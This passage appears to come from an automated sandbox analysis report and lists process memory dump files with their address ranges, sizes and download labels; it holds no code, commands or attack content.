                                                • memory/4832-102-0x0000000000300000-0x00000000007B3000-memory.dmp

                                                  Filesize

                                                  4.7MB

                                                  Download

                                                • memory/4928-917-0x00000000042A0000-0x000000000431F000-memory.dmp

                                                  Filesize

                                                  508KB

                                                  Download

                                                • memory/4928-918-0x00000000042A0000-0x000000000431F000-memory.dmp

                                                  Filesize

                                                  508KB

                                                  Download

                                                • memory/4928-923-0x0000000004B60000-0x0000000004F60000-memory.dmp

                                                  Filesize

                                                  4.0MB

                                                  Download

                                                • memory/4928-921-0x00000000042A0000-0x000000000431F000-memory.dmp

                                                  Filesize

                                                  508KB

                                                  Download

                                                • memory/4928-920-0x00000000042A0000-0x000000000431F000-memory.dmp

                                                  Filesize

                                                  508KB

                                                  Download

                                                • memory/4928-922-0x0000000004B60000-0x0000000004F60000-memory.dmp

                                                  Filesize

                                                  4.0MB

                                                  Download

                                                • memory/4928-919-0x00000000042A0000-0x000000000431F000-memory.dmp

                                                  Filesize

                                                  508KB

                                                  Download

                                                • memory/4928-916-0x00000000042A0000-0x000000000431F000-memory.dmp

                                                  Filesize

                                                  508KB

                                                  Download

                                                • memory/4928-926-0x00000000771F0000-0x0000000077405000-memory.dmp

                                                  Filesize

                                                  2.1MB

                                                  Download

                                                • memory/4928-924-0x00007FFB9CA70000-0x00007FFB9CC65000-memory.dmp

                                                  Filesize

                                                  2.0MB

                                                  Download

                                                • memory/5108-942-0x00007FFB9CA70000-0x00007FFB9CC65000-memory.dmp

                                                  Filesize

                                                  2.0MB

                                                  Download

                                                • memory/5108-944-0x00000000771F0000-0x0000000077405000-memory.dmp

                                                  Filesize

                                                  2.1MB

                                                  Download

                                                • memory/5108-941-0x0000000005410000-0x0000000005810000-memory.dmp

                                                  Filesize

                                                  4.0MB

                                                  Download